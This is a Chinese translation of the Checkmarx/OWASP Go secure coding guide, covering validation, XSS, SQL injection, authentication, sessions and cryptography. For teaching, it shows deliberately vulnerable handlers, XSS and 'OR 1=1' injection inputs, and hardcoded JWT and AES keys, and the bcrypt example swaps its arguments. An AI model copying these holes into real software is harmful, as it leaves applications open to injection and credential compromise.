Go语言安全编码规范-翻译
翻译:blood_zer0、Lingfighting
如果翻译的有问题:联系我(Lzero2012)。匆忙翻译肯定会有很多错误,欢迎大家一起讨论Go语言安全能力建设。
转载请贴上原链接
介绍
Go语言-Web应用程序安全编码实践是为了给任何使用Go进行编程与Web开发的人员提供指导。
这本书是Checkmarx安全研究团队共同努力的结晶,它遵循OWASP安全编码实践快速参考指南。
这本书主要的目的是为了帮助开发人员避免常见错误,同时通过"实践方法"学习编程语言心得。本书提供了关于"如何安全执行"详细信息,展示了在开发过程中可能出现的安全问题。
关于Checkmarx
Checkmarx是一家应用程序软件安全公司,公司使命是为企业组织提供应用程序安全测试产品与服务,提高开发人员交付安全应用程序。拥有1000家客服包括全球十大软件供应商中的物价,美国顶级银行中的四家,以及许多财富500强和政府机构,包括SAP、三星和Salesforce.com
关于Checkmarx的更多信息,可以访问checkmarx.com或者关注我们的twitter:@checkmarx
关于OWASP安全编程实践
"安全编程实践快速参考指南"是OWASP开源Web安全项目。它是一种"技术无关的通用软件安全编程实践集,采用全面的列表格式,可以集成到开发生命周期中"
OWASP本身是"一个开放的社区,致力于使组织能够构思、开发、获取、操作和维护可信任的应用程序。所有的OWASP工具、文档、论坛和章节都是免费的,并且对任何有兴趣提高应用程序安全性的人开放。"
输入验证
在Web应用程序安全性中,如果未对用户输入及相关数据进行验证则会存在安全风险。我们通过"输入验证"与"输出处理"技术来解决这些问题。根据服务器的功能,应在应用程序的每个层中执行这些验证。重要的一点是,所有数据验证程序必须在可信系统上(即在服务器上)完成。
如"OWASP SCP快速参考指南"中所述,有16个要点涵盖了开发人员在处理输入验证时应注意的问题。在开发应用程序时缺乏对这些安全风险的考虑是注入"OWASP Top 10"中排名第一的主要原因之一。
用户交互是Web应用程序当前开发范例的主要内容。随着Web应用程序内容和可能性越来越丰富,用户交互和提交的用户数据也会增加。正是在这种背景下,输入验证起着重要作用。
当应用程序处理用户数据时,默认情况下提交的数据必须被视为不安全,并且只有在进行了适当的安全检查后才能接受。还必须将数据源标识为受信任或不受信任,并且在不受信任的源的情况下,必须进行验证检查。
验证
在验证检查中,根据一组条件检查用户输入,以保证用户确实输入了预期数据。
重要信息:如果验证失败,则必须拒绝输入。
这不仅从安全角度而且从数据一致性和完整性的角度来看很重要,因为数据通常用于各种系统和应用程序。
本文列出了开发人员在Go中开发Web应用程序时应注意的安全风险。
用户交互
允许用户输入的应用程序的任何部分都存在潜在的安全风险。 问题不仅可能来自寻求危害应用程序的方法,也可能来自人为错误导致的错误输入(统计上,大多数无效数据情况通常是由人为错误引起的)。 在Go中,有几种方法可以防止此类问题。
Go具有本机库,其中包括有助于确保不会发生此类错误的方法。 在处理字符串时,我们可以使用类似以下示例的包:
-
strconv
包处理到其他数据类型的字符串转换。- Atoi
- ParseBool
- ParseFloat
- ParseInt
-
strings
包包含处理字符串及其属性的所有函数。- Trim
- ToLower
- ToTitle
-
regexp
包支持正则表达式以适应自定义格式。 utf8
包实现函数和常量以支持以UTF-8编码的文本。它包括在runes和utf-8字节序列之间转换的函数。- Valid(验证UTF-8编码)
- ValidRune(验证UTF-8编码)
- ValidString(验证UTF-8编码)
- EncodeRune(UTF-8编码)
- DecodeLastRune(UTF-8解码)
- DecodeLastRuneInString(UTF-8解码)
注意:Form被go视为字符串值的映射。
确保数据有效性的其他技术包括:
- 白名单-尽可能根据允许的字符白名单验证输入。请参见Validation - Strip tags。
- 边界检查-应验证数据和数字长度。
- 字符转义-用于特殊字符,如独立引号。
- 数字验证-如果输入是数字。
- 检查空字节-(%00)
- 检查新行字符-%0d,%0a,\r\n
- 检查路径更改字符-../或\..
- 检查扩展的UTF-8-检查特殊字符的可选表示形式
注意:确保HTTP请求和响应头只包含ASCII字符。
存在处理go中安全性的第三方软件包:
- Gorilla是Web应用程序安全性最常用的包之一。它支持websockets、cookie会话、rpc等。
- Form 将url.values解码为go值,并将go值编码为url.values。Dual Array和Full map支持。
- Validator 进行Go 结构体和字段验证,包括跨字段、跨结构体、映射以及切片和数组。
文件操作
当需要使用文件时(read或write文件)也应该进行验证,因为大多数文件操作操作都处理用户数据。
其他文件检查过程包括"文件存在性检查",以验证文件名是否存在。
附加文件信息在文件管理部分,有关错误处理的信息可以在文档的错误处理部分找到。
数据源
当数据从受信任的源传递到不受信任的源时,应进行完整性检查。这保证了数据没有被篡改,我们正在接收预期的数据。其他数据源检查包括:
- 跨系统一致性检查
- Hash统计
- 参照完整性
注意:在现代关系数据库中,如果主键字段中的值不受数据库内部机制的约束,那么应该对它们进行验证:
- 唯一性检查
- 表查询检查
POST验证操作
根据数据验证的最佳实践,输入验证只是数据验证指南的第一部分。因此,还应执行验证后操作。使用的验证后操作因上下文而异,分为三类:
- 强制执行:为了更好地保证我们的应用和数据,存在着几种执行类型。
- 通知用户提交的数据不符合要求,因此应修改数据以符合要求。
- 在服务器端修改用户提交的数据,而不通知用户所做的更改,这最适用于具有交互使用的系统。
注意:后者主要用于外观更改(修改用户敏感数据可能导致截断等问题,从而导致数据丢失)。
- 咨询:建议操作通常允许输入不变的数据,但消息来源参与者被告知所述数据存在问题。这最适用于非交互式系统。
- 验证:验证是指建议操作中的特殊情况。在这些情况下,用户提交数据,源参与者要求用户验证所述数据并建议更改。然后,用户接受这些更改或保留其原始输入。
一个简单的方法来说明这是一个账单地址表单,用户输入他的地址,系统建议与帐户相关的地址。然后,用户接受其中一个建议或发送到最初输入的地址。
处理
处理是指删除或替换提交的数据的过程。在处理数据时,在进行了正确的验证检查之后,通常会采取一个额外的步骤来加强数据安全性,即处理。
最常用的处理方法如下:
将小于字符的单个字符转化为实体
在本机包HTML中,有两个用于清理的函数:一个用于转义HTML文本,另一个用于取消转义HTML。函数escapeString()
接受一个字符串并返回带有特殊转义字符的相同字符串。即,<变为<;。请注意,此函数只转义以下五个字符:<、>、&、'和'。相反,还有unescapeString()
函数可以从实体转换为字符。
删除所有标签
虽然html/template
包有striptags()
函数,但它是未导出的。由于没有其他本机包具有去除所有标记的功能,因此可以选择使用第三方库,或者复制整个函数以及它的私有类和函数。
一些第三方库可以实现这一点:
- https://github.com/kennygrant/sanitize
- https://github.com/maxwells/sanitize
- https://github.com/microcosm-cc/bluemonday
删除换行符、制表符和多余的空格
text/template
和html/template
包括一种从模板中删除空白的方法,方法是在操作的分隔符内使用减号。
使用源代码执行模板
{{- 23}} < {{45 -}}
将导致以下输出
23<45
注意:如果减号不在开始动作分隔符{{之后或结束动作分隔符之前}},减号-将应用于该值。
模板源
{{ -3 }}
输出
-3
URL请求路径
在net/http
包中有一个称为ServeMux
的HTTP请求多路复用器类型。它用于将传入请求与注册模式匹配,并调用与请求的URL最匹配的处理程序。除了主要目的外,它还负责清理URL请求路径,重定向包含的任何请求。.或..元素或重复斜杠到一个等效的、更清晰的URL。
一个简单的Mux示例说明:
func main() {
mux := http.NewServeMux()
rh := http.RedirectHandler("http://yourDomain.org", 307)
mux.Handle("/login", rh)
log.Println("Listening...")
http.ListenAndServe(":3000", mux)
}
注意:请记住,ServeMux
不会更改connect请求的URL请求路径,因此,如果不限制允许的请求方法,可能会使应用程序容易受到路径遍历攻击。
第三方软件包:
输出编码
虽然在OWASP SCP快速参考指南中只有6个项目符号部分,但是在Web应用程序开发中,输出编码的错误做法非常普遍,因此导致了第一大漏洞:注入。
随着Web应用程序变得复杂和丰富,它们拥有的数据源越多:用户、数据库、三十方服务等。在某个时间点,收集到的数据被输出到具有特定上下文的某些媒体(如Web浏览器)。如果没有强的输出编码策略,则正好发生注入。
当然,您已经听说了我们将在本节中讨论的所有安全问题,但是您真的知道这些问题是如何发生的和/或如何避免的吗?
XSS跨站脚本
大多数开发人员都听说过,但大多数人从未尝试过使用XSS开发Web应用程序。
自2003年以来,跨站点脚本一直位于OWASP的前10位,它仍然是一个常见的漏洞。2013年的版本非常详细地介绍了XSS:攻击向量、安全弱点、技术影响和业务影响。
简而言之
如果不确保所有用户提供的输入都被正确转义,或者在将该输入包含到输出页之前,不通过服务器端输入验证来验证其安全性,那么您将很容易受到攻击。(source)
Go,就像其他多用途编程语言一样,尽管文档中明确说明了如何使用html/template
包,但它拥有所有需要处理的东西,并使您容易受到XSS的攻击。很容易找到使用net/http和io包的"hello world"示例,在不了解它的情况下,您很容易受到XSS的攻击。
代码:
package main
import "net/http"
import "io"
func handler (w http.ResponseWriter, r *http.Request) {
io.WriteString(w, r.URL.Query().Get("param1"))
}
func main () {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
此代码段创建并启动一个HTTP服务器,侦听端口8080(main()),处理服务器根目录(/)上的请求。
处理请求的handler()函数需要一个查询字符串参数param1
,然后将其值写入响应流(w)。
由于Content-Type
HTTP响应头,将使用go http.detectcontenttype默认值,该值遵循WhatWG规范。
因此,使param1
等于"test",将导致Content-Type
HTTP响应头以text/plain格式发送。
但如果param1
的第一个字符是<h1>
,则Content-Type
将是text/html。
您可能认为,使param1
等于任何HTML标记都会导致相同的行为,但它不会:使param1
等于<h2>
、<span>
或<form>
将使Content-Type
以plain/text形式发送,而不是以预期的text/html形式发送。
现在,让我们使param1
等于
<script>alert(1)</script>
根据whatwg-spec,内容类型http-response-header将以文本/html形式发送,将呈现param1值,并…这里是XSS跨站点脚本。
在与谷歌讨论了这一情况后,他们告诉我们:
它实际上非常方便,旨在能够打印HTML并自动设置内容类型。我们希望程序员将使用HTML/模板进行适当的转义。
谷歌声明开发人员负责清理和保护他们的代码。我们完全同意,但是在安全性是优先考虑的语言中,除了默认的text/plain之外,允许自动设置Content-Type
并不是最好的方式。
让我们澄清一下:text/plain
和/或text/template
包不会让您远离XSS,因为它不会清理用户输入。
package main
import "net/http"
import "text/template"
func handler(w http.ResponseWriter, r *http.Request) {
param1 := r.URL.Query().Get("param1")
tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
使param1
等于<h1>
将导致内容类型作为text/html发送,这使您容易受到XSS的攻击。
将text/template包替换为html/template包,您就可以安全地继续了。
package main
import "net/http"
import "html/template"
func handler(w http.ResponseWriter, r *http.Request) {
param1 := r.URL.Query().Get("param1")
tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
当param1等于<h1>
时,不仅Content-Type
HTTP响应头将以text/plain格式发送。
但是,param1也
被正确编码到输出媒体:浏览器。
SQL注入
由于缺乏正确的输出编码,另一个常见的注入是SQL注入,这主要是由于一个旧的错误做法:字符串串联。
简而言之:只要将包含任意字符(例如对数据库管理系统有特殊意义的字符)的值的变量简单地添加到(部分)SQL查询中,就容易受到SQL注入的攻击。
假设您有如下查询:
ctx := context.Background()
customerId := r.URL.Query().Get("id")
query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = " + customerId
row, _ := db.QueryContext(ctx, query)
你将毁了它。
当提供有效的customerId时,您将只列出该客户的信用卡,但如果customerId变为1或1=1会怎么样?
您的查询将如下所示:
SELECT number, expireDate, cvv FROM creditcards WHERE customerId = 1 OR 1=1
您将转储所有表记录(是的,任何记录的1=1都是真的)!
只有一种方法可以保证数据库的安全:Prepared Statements。
ctx := context.Background()
customerId := r.URL.Query().Get("id")
query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = ?"
stmt, _ := db.QueryContext(ctx, query, customerId)
注意到占位符了?以及您的查询方式:
- 可读性强
- 较短
- 安全的
准备好的语句中的占位符语法是特定于数据库的。例如,比较mysql、postgresql和oracle:
MySQL | PostgreSQL | Oracle |
---|---|---|
WHERE col = ? | WHERE col = $1 | WHERE col = :col |
VALUES(?, ?, ?) | VALUES($1, $2, $3) | VALUES(:val1, :val2, :val3) |
检查本指南中的"数据库安全性"部分,以获取有关此主题的详细信息。
认证与密码管理
认证与密码管理
OWASP安全编码实践是一个便利的文档,可以帮助开发人员验证在项目实现期间是否遵循了所有的最佳实践。身份验证和密码管理是任何系统的关键部分,从用户注册到凭证存储、密码重置和个人资源访问都有详细介绍。
为了更深入的细节,可以对一些指导原则进行分组。这里源代码示例来说明。
经验规则
让我们从经验规则开始:"所有身份验证控制都必须在受信任的系统上强制执行",通常是运行应用程序后端的服务器。
为了系统的简单性和减少故障点,您应该使用标准的和经过测试的认证服务:通常框架拥有这样的模块,并且有许多人开发、维护和使用它们,我们鼓励您使用它们作为一种集中的认证机制。不过,您应该"仔细检查代码以确保它不受任何恶意代码的影响",并确保它遵循最佳实践。
身份验证的过程不应该是资源自身来执行它,相反,应该使用"从集中式身份验证控件重定向"。小心处理重定向:您应该只重定向到本地和/或安全资源。
当认证需要"连接到涉及敏感信息或功能的外部系统"时,它不仅应该由应用程序的用户使用,而且还应该由您自己的应用程序使用。在这种情况下,"访问应用程序外部服务的身份验证凭据应加密并存储在受信任系统(如服务器)上的受保护位置。存储在代码中不是安全的位置"。
身份验证数据通信
在本节中,"通信"在更广泛的意义上使用,包括用户体验(UX)和CS通信。
不仅"密码输入应在用户屏幕上隐藏",而且"记住我"功能应禁用。
您可以使用输入字段type="password"并将autocomplete属性设置为off来完成这两项工作。
<input type="password" name="passwd" autocomplete="off" />
身份验证凭据只能在HTTP POST请求上使用加密连接(HTTPS)发送。加密连接的例外可能是电子邮件重置相关联的临时密码。
虽然通过tls/ssl(https)的HTTP GET请求看起来和HTTP POST请求一样安全,但一般情况下,HTTP服务器(如apache2、nginx)会将请求的URL写入访问日志。
xxx.xxx.xxx.xxx - - [27/Feb/2017:01:55:09 +0000] "GET /?username=user&password=70pS3cure/oassw0rd HTTP/1.1" 200 235 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0"
前端代码如下:
<form method="post" action="https://somedomain.com/user/signin" autocomplete="off">
<input type="hidden" name="csrf" value="CSRF-TOKEN" />
<label>Username <input type="text" name="username" /></label>
<label>Password <input type="password" name="password" /></label>
<input type="submit" value="Submit" />
</form>
在处理身份验证错误时,应用程序不应公开身份验证数据的哪一部分不正确。不要使用"无效用户名"或"无效密码",只需交替使用"无效用户名和/或密码":
<form method="post" action="https://somedomain.com/user/signin" autocomplete="off">
<input type="hidden" name="csrf" value="CSRF-TOKEN" />
<div class="error">
<p>Invalid username and/or password</p>
</div>
<label>Username <input type="text" name="username" /></label>
<label>Password <input type="password" name="password" /></label>
<input type="submit" value="Submit" />
</form>
对于一般性信息,您不披露:
- 注册人:"无效密码"表示用户名存在。
- 系统的工作方式:"无效密码"可能会显示应用程序的工作方式,首先查询数据库中的用户名,然后比较内存中的密码。
验证和存储部分提供了如何执行验证数据验证(和存储)的示例。
成功登录后,应通知用户上次成功或不成功的访问日期/时间,以便用户能够检测和报告可疑活动。有关日志记录的更多信息可以在文档的错误处理和日志记录中找到。此外,为了防止攻击,建议在检查密码时使用恒定时间比较功能,包括分析具有不同输入的多个请求之间的时间差。在这种情况下,表单record==password比较不匹配的第一个字符处将会返回false,提交的密码时间越近,响应时间越长。通过利用这个漏洞,攻击者可以猜测密码。请注意,即使记录不存在,我们也总是强制执行带有空值的subtle.ConstantTimeCompare以便与用户输入进行比较。
验证与存储
验证
本节的关键主题是身份验证数据存储,因为用户帐户数据库经常在Internet上泄漏,这是不可取的。当然,这并不能保证发生,但在这种情况下,如果正确存储身份验证数据,特别是密码,就可以避免附带的损害。
首先,让我们明确“所有认证控制都应该安全失败”。建议您阅读所有其他身份验证和密码管理部分,因为它们包括有关报告错误身份验证数据和如何处理日志记录的建议。
另一个初步建议是:对于顺序认证的实现(像Google现在做的那样),验证应该只在所有数据输入完成后,在可信系统(如服务器)上进行。
安全存储密码理论
package main
import (
"crypto/rand"
"crypto/sha256"
"database/sql"
"context"
"fmt"
)
const saltSize = 32
func main() {
ctx := context.Background()
email := []byte("john.doe@somedomain.com")
password := []byte("47;u5:B(95m72;Xq")
// create random word
salt := make([]byte, saltSize)
_, err := rand.Read(salt)
if err != nil {
panic(err)
}
// let's create SHA256(password+salt)
hash := sha256.New()
hash.Write(password)
hash.Write(salt)
// this is here just for demo purposes
//
// fmt.Printf("email : %s\n", string(email))
// fmt.Printf("password: %s\n", string(password))
// fmt.Printf("salt : %x\n", salt)
// fmt.Printf("hash : %x\n", hash.Sum(nil))
// you're supposed to have a database connection
stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, salt=?, email=?")
if err != nil {
panic(err)
}
result, err := stmt.ExecContext(ctx, email, h, salt)
if err != nil {
panic(err)
}
}
然而,这种方法有几个缺陷,不应该使用。本文仅用一个实例来说明这一理论。下一节将解释如何在现实生活中正确设置密码。
安全存储密码实践
下面的示例演示如何使用bcrypt,这对于大多数情况都是足够好的。BCRYPT的优点是使用起来更简单,因此不易出错。
package main
import (
"database/sql"
"context"
"fmt"
"golang.org/x/crypto/bcrypt"
)
func main() {
ctx := context.Background()
email := []byte("john.doe@somedomain.com")
password := []byte("47;u5:B(95m72;Xq")
// Hash the password with bcrypt
hashedPassword, err := bcrypt.GenerateFromPassword(password, bcrypt.DefaultCost)
if err != nil {
panic(err)
}
// this is here just for demo purposes
//
// fmt.Printf("email : %s\n", string(email))
// fmt.Printf("password : %s\n", string(password))
// fmt.Printf("hashed password: %x\n", hashedPassword)
// you're supposed to have a database connection
stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, email=?")
if err != nil {
panic(err)
}
result, err := stmt.ExecContext(ctx, hashedPassword, email)
if err != nil {
panic(err)
}
}
bcrypt还提供了一种简单而安全的方法来比较明文密码和已经散列的密码:
ctx := context.Background()
// credentials to validate
email := []byte("john.doe@somedomain.com")
password := []byte("47;u5:B(95m72;Xq")
// fetch the hashed password corresponding to the provided email
record := db.QueryRowContext(ctx, "SELECT hash FROM accounts WHERE email = ? LIMIT 1", email)
var expectedPassword string
if err := record.Scan(&expectedPassword); err != nil {
// user does not exist
// this should be logged (see Error Handling and Logging) but execution
// should continue
}
if bcrypt.CompareHashAndPassword(password, []byte(expectedPassword)) != nil {
// passwords do not match
// passwords mismatch should be logged (see Error Handling and Logging)
// error should be returned so that a GENERIC message "Sign-in attempt has
// failed, please check your credentials" can be shown to the user.
}
密码策略
密码是一种历史资产,是大多数认证系统的一部分,也是攻击者的头号目标。
很多时候一些服务会泄露用户的信息,尽管电子邮件地址和其他个人数据也泄露了,但最大的问题是密码。为什么?因为密码不容易管理和记忆,用户倾向于使用弱密码(例如“123456”)他们可以很容易记住,也可以在不同的服务中使用相同的密码。
如果您的应用程序登录需要密码,您可以做的最好的事情是"强制执行密码复杂性要求,要求使用字母以及数字和/或特殊字符"。密码长度也应该强制要求:"通常使用8个字符,但16个字符更好,或者考虑使用多个单词的密码短语"。
当然,前面的指导原则都不会阻止用户重新使用相同的密码。最好的办法是"强制更改密码",防止密码重复使用。关键系统可能需要更频繁的更改,必须对重置之间的时间进行管理控制”。
重置
即使您没有应用任何额外的密码策略,用户仍然需要能够重置他们的密码。这种机制与注册或登录一样重要,我们鼓励您遵循最佳实践,确保您的系统不会泄露敏感数据,也不会受到危害。
"密码更改时间不能少于1天"。这样可以防止对密码重复使用的攻击。每当使用"基于电子邮件的重置,只发送电子邮件到预先注册的地址与临时链接/密码",这个链接应该有一个很短的到期时间。
每当请求密码重置时应通知用户。同样临时密码也应该在下次使用时更改。
密码重置的一个常见做法是"安全问题",其答案以前是由帐户所有者配置的。密码重置问题应支持足够的随机答案:询问"最喜爱的书"?可能答案总会是"圣经",这使得这个安全问题成为一个坏问题。
其它指南
身份验证是任何系统的关键部分,因此您应该始终采用正确和安全的做法。以下是使您的认证系统更具弹性的一些指导原则:
- 在执行关键操作之前重新验证用户身份;
- 对高度敏感或高价值交易帐户使用多因素身份验证;
- 利用相同的密码,实施监控以识别针对多个用户帐户的攻击。当用户ID可以被获取或猜测时,这种攻击模式用于绕过标准锁定;
- 更改供应商提供的所有默认密码和用户ID或禁用关联帐户;
- 在已确定的无效登录尝试次数(例如:五次尝试是常见的)后强制禁用帐户。必须禁用该帐户一段时间,这段时间必须足以阻止对凭据的野蛮猜测,但不能长到允许执行拒绝服务攻击。
Session管理
在本节中,我们会根据OWASP安全编码实践来介绍会话管理的重要内容。提供了一个示例以及实践原理概述。除此之外,还有一个包含完整程序代码的文件夹。会话进程如图所示:
在处理会话管理时,应用程序应该只识别服务器中的会话管理控件,并在在受信任的系统上创建会话。在提供的代码示例中,我们的应用程序使用JWT生成一个会话,代码如下:
// create a JWT and put in the clients cookie
func setToken(res http.ResponseWriter, req *http.Request) {
...
}
我们必须确保用于生成会话标识符的算法是足够随机的,以防止会话被暴力破解,代码如下:
...
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
signedToken, _ := token.SignedString([]byte("secret")) //our secret
...
既然又了足够强的令牌,我们必须给cookie设置Domain
、Path
、Expires
、HTTPOnly
、Secure
等参数。通常情况下,我们把Expires值设置为30分钟以此来降低应用程序风险。
// Our cookie parameter
cookie := http.Cookie{
Name: "Auth",
Value: signedToken,
Expires: expireCookie,
HttpOnly: true,
Path: "/",
Domain: "127.0.0.1",
Secure: true
}
http.SetCookie(res, &cookie) //Set the cookie
每次成功登录后都会生成新的会话,历史会话将不会被重新使用,即使它没有过期。我们还可以使用Expire参数强制定期终止会话,以防止会话劫持。Cookie的另外一个重要因素是不允许同一用户同时登录,这可以通过保存登录用户列表完成,将新的登录用户名与列表进行对比,登录用户列表通常保存在数据库中。
会话标识符不允许存储在URL中,仅允许保存在HTTP Cookie头中。一个不好的列子就是使用GET传递会话标识符参数。会话数据还必须受到保护,以防服务器的其它用户未经授权直接访问。
HTTP改为HTTPS,防止网络嗅探会话的MITM攻击。最佳实践是在所有的请求中使用HTTPS,代码如下:
err := http.ListenAndServeTLS(":443", "cert/cert.pem", "cert/key.pem", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
在高敏感或关键操作的请求中,应该为每个请求而不是每个会话生成令牌。始终确保令牌的随机性,并且足有足够的安全长度防止暴力破解。
在会话管理中要考虑的最后一个方面是注销功能。应用程序应该提供一个从所有需要身份验证的页面注销的方法,并完全终止关联的会话和链接。示例中,当用户注销时,cookie需要从客户端删除,也需要从服务端删除。
...
cookie, err := req.Cookie("Auth") //Our auth token
if err != nil {
res.Header().Set("Content-Type", "text/html")
fmt.Fprint(res, "Unauthorized - Please login <br>")
fmt.Fprintf(res, "<a href=\"login\"> Login </a>")
return
}
...
完整的例子,请访问:session.go
访问控制
在处理访问控制时,要采取的第一步是仅使用受信任的系统对象进行访问授权决策。在会话管理部分提供的示例中,我们使用JWT实现了这一点。JSONWeb令牌在服务器端生成会话令牌。
// create a JWT and put in the clients cookie
func setToken(res http.ResponseWriter, req *http.Request) {
//30m Expiration for non-sensitive applications - OWASP
expireToken := time.Now().Add(time.Minute * 30).Unix()
expireCookie := time.Now().Add(time.Minute * 30)
//token Claims
claims := Claims{
{...}
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
signedToken, _ := token.SignedString([]byte("secret"))
然后我们可以存储和使用这个令牌来验证用户并强制我们的访问控制模型。
用于访问授权的组件应该是一个单一的、在站点范围内使用的组件。这包括调用外部授权服务的库。
如果出现故障,访问控制应安全失效。在Go中,我们可以使用Defer来实现这一点。有关详细信息,请参阅文档的错误日志部分。
如果应用程序无法访问其配置信息,则应拒绝对应用程序的所有访问。
应该对每个请求实施授权控制,包括服务器端脚本以及来自客户端技术(如Ajax或Flash)的请求。
正确地将特权逻辑与应用程序代码的其余部分分开也是很重要的。
为防止未经授权的用户访问,必须执行访问控制的其他重要操作包括:
- 文件和其他资源
- 受保护的URL
- 受保护功能
- 直接对象引用
- 服务
- 应用程序数据
- 用户和数据属性以及策略信息
在提供的示例中,测试简单的直接对象引用。此代码基于会话管理中的示例构建。
在实现这些访问控制时,重要的是验证访问控制规则的服务器端实现和表示层表示是否匹配。
如果状态数据需要存储在客户端,则需要使用加密和完整性检查以防止篡改。
应用程序逻辑流必须符合业务规则。
处理事务时,单个用户或设备在给定时间段内可以执行的事务数必须高于业务要求,但必须足够低,以防止用户执行DoS类型的攻击。
重要的是要注意,仅使用referer HTTP头不足以验证授权,应仅用作补充检查。
对于经过长时间验证的会话,应用程序应定期重新评估用户的授权,以验证用户的权限是否未更改。如果权限已更改,请注销用户并强制他们重新进行身份验证。
为了遵守安全程序,用户帐户还应该有一种审计方法。(例如,在密码过期30天后禁用用户帐户)。
应用程序还必须支持在用户的授权被撤销时禁用帐户和终止会话。(例如角色变更、就业状况等)。
当支持外部服务帐户和支持从外部系统或到外部系统的连接的帐户时,这些帐户必须以尽可能低的权限级别运行。
密码学实践
让我们让第一句话像您的加密技术一样强大:哈希和加密是两种不同的东西。
这是一个普遍的误解,而且大多数时候哈希和加密是交替使用的,错误的。它们是不同的概念,也有不同的用途。
哈希是由(哈希)函数从源数据生成的字符串或数字:
hash := F(data)
哈希的长度固定,其值随输入的微小变化而变化很大(仍可能发生冲突)。好的哈希算法不允许将哈希转换为其原始源。MD5是最流行的散列算法,但安全性blake2被认为是最强和最灵活的。
Go补充加密库提供了blake2b(或仅blake2)和blake2s实现:前者针对64位平台进行了优化,后者针对8到32位平台进行了优化。如果blake2不可用,则sha-256是正确的选项。
每当你有一些你不需要知道它是什么的东西,但只有当它是应该是什么的时候(比如下载后检查文件完整性),你应该使用hashing
package main
import "fmt"
import "io"
import "crypto/md5"
import "crypto/sha256"
import "golang.org/x/crypto/blake2s"
func main () {
h_md5 := md5.New()
h_sha := sha256.New()
h_blake2s, _ := blake2s.New256(nil)
io.WriteString(h_md5, "Welcome to Go Language Secure Coding Practices")
io.WriteString(h_sha, "Welcome to Go Language Secure Coding Practices")
io.WriteString(h_blake2s, "Welcome to Go Language Secure Coding Practices")
fmt.Printf("MD5 : %x\n", h_md5.Sum(nil))
fmt.Printf("SHA256 : %x\n", h_sha.Sum(nil))
fmt.Printf("Blake2s-256: %x\n", h_blake2s.Sum(nil))
}
输出
MD5 : ea9321d8fb0ec6623319e49a634aad92
SHA256 : ba4939528707d791242d1af175e580c584dc0681af8be2a4604a526e864449f6
Blake2s-256: 1d65fa02df8a149c245e5854d980b38855fd2c78f2924ace9b64e8b21b3f2f82
注意:要运行源代码示例,您需要运行$go get golang.org/x/crypto/blake2s
另一方面,加密使用密钥将数据转换为可变长度的数据
encrypted_data := F(data, key)
与散列不同,我们可以使用正确的解密函数和密钥,从加密的数据中计算数据。
data := F⁻¹(encrypted_data, key)
当您需要通信或存储敏感数据时,应使用加密,您或其他人稍后需要访问这些敏感数据进行进一步处理。一个“简单”的加密用例是安全的https-hyper-text传输协议。AES是对称密钥加密的事实标准。该算法和其他对称密码一样,可以在不同的模式下实现。您会注意到在下面的代码示例中,使用了gcm(galois counter模式),而不是更流行的(至少在密码学代码示例中)cbc/ecb。GCM和CBC/ECB之间的主要区别在于前者是一种经过身份验证的密码模式,这意味着在加密阶段之后,在密文中添加一个身份验证标签,然后在消息解密之前对其进行验证,以确保消息没有被篡改。另一方面,您有公钥密码术或使用成对密钥的非对称密码术:public和private。在大多数情况下,公钥密码学的性能不如对称密钥密码学,因此其最常见的用例是使用非对称密码学在双方之间共享对称密钥,这样他们就可以使用对称密钥交换使用对称密码学加密的消息。除了90年代的AES技术外,Go作者已经开始实施和支持更现代的对称加密算法,这些算法也提供身份验证,例如chacha20poly1305。
Go中另一个有趣的包是x/crypto/nacl。这是DanielJ.Bernstein博士的Nacl图书馆的参考资料,它是一个非常流行的现代密码学图书馆。go中的nacl/box和nacl/secretbox是nacl为两个最常见的用例发送加密消息的抽象实现:
- 使用公钥加密(nacl/box)在双方之间发送经过身份验证的加密消息
- 使用对称(即密钥)加密技术在双方之间发送经过身份验证的加密消息
如果符合您的用例,那么最好使用其中一个抽象,而不是直接使用AES。
package main
import "fmt"
import "crypto/aes"
import "crypto/cipher"
import "crypto/rand"
func main() {
key := []byte("Encryption Key should be 32 char")
data := []byte("Welcome to Go Language Secure Coding Practices")
block, err := aes.NewCipher(key)
if err != nil {
panic(err.Error())
}
nonce := make([]byte, 12)
if _, err := rand.Read(nonce); err != nil {
panic(err.Error())
}
aesgcm, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
encrypted_data := aesgcm.Seal(nil, nonce, data, nil)
fmt.Printf("Encrypted: %x\n", encrypted_data)
decrypted_data, err := aesgcm.Open(nil, nonce, encrypted_data, nil)
if err != nil {
panic(err.Error())
}
fmt.Printf("Decrypted: %s\n", decrypted_data)
}
Encrypted: a66bd44db1fac7281c33f6ca40494a320644584d0595e5a0e9a202f8aeb22dae659dc06932d4e409fe35a95d14b1cffacbe3914460dd27cbd274b0c3a561
Decrypted: Welcome to Go Language Secure Coding Practices
请注意,您应该“建立并使用一个如何管理加密密钥的策略和过程”,保护“主秘密不受未经授权的访问”。也就是说:您的加密密钥不应该硬编码在源代码中(如本例中所示)。
go crypto package收集常见的加密常量,但实现有自己的包,如crypto/md5包。
大多数现代密码算法都是在https://godoc.org/golang.org/x/crypto
下实现的,因此开发人员应该关注那些算法,而不是[crypto/*package](https://golang.org/pkg/crypto/)
。
伪随机生成器
在OWASP安全编码实践中,您会发现一条似乎非常复杂的准则:“当这些随机值不可猜测时,所有随机数、随机文件名、随机guid和随机字符串都应使用加密模块批准的随机数生成器生成”,因此让我们来谈谈“随机数”。
密码学依赖于某种随机性,但为了正确起见,大多数编程语言提供的现成的是一个伪随机数生成器:go's math/rand不例外。
当文档中声明“顶级函数(如float64和int)使用默认共享源时,您应该仔细阅读该文档,该共享源每次运行程序时都会生成确定的值序列。”(source)
这到底是什么意思?让我们看看
package main
import "fmt"
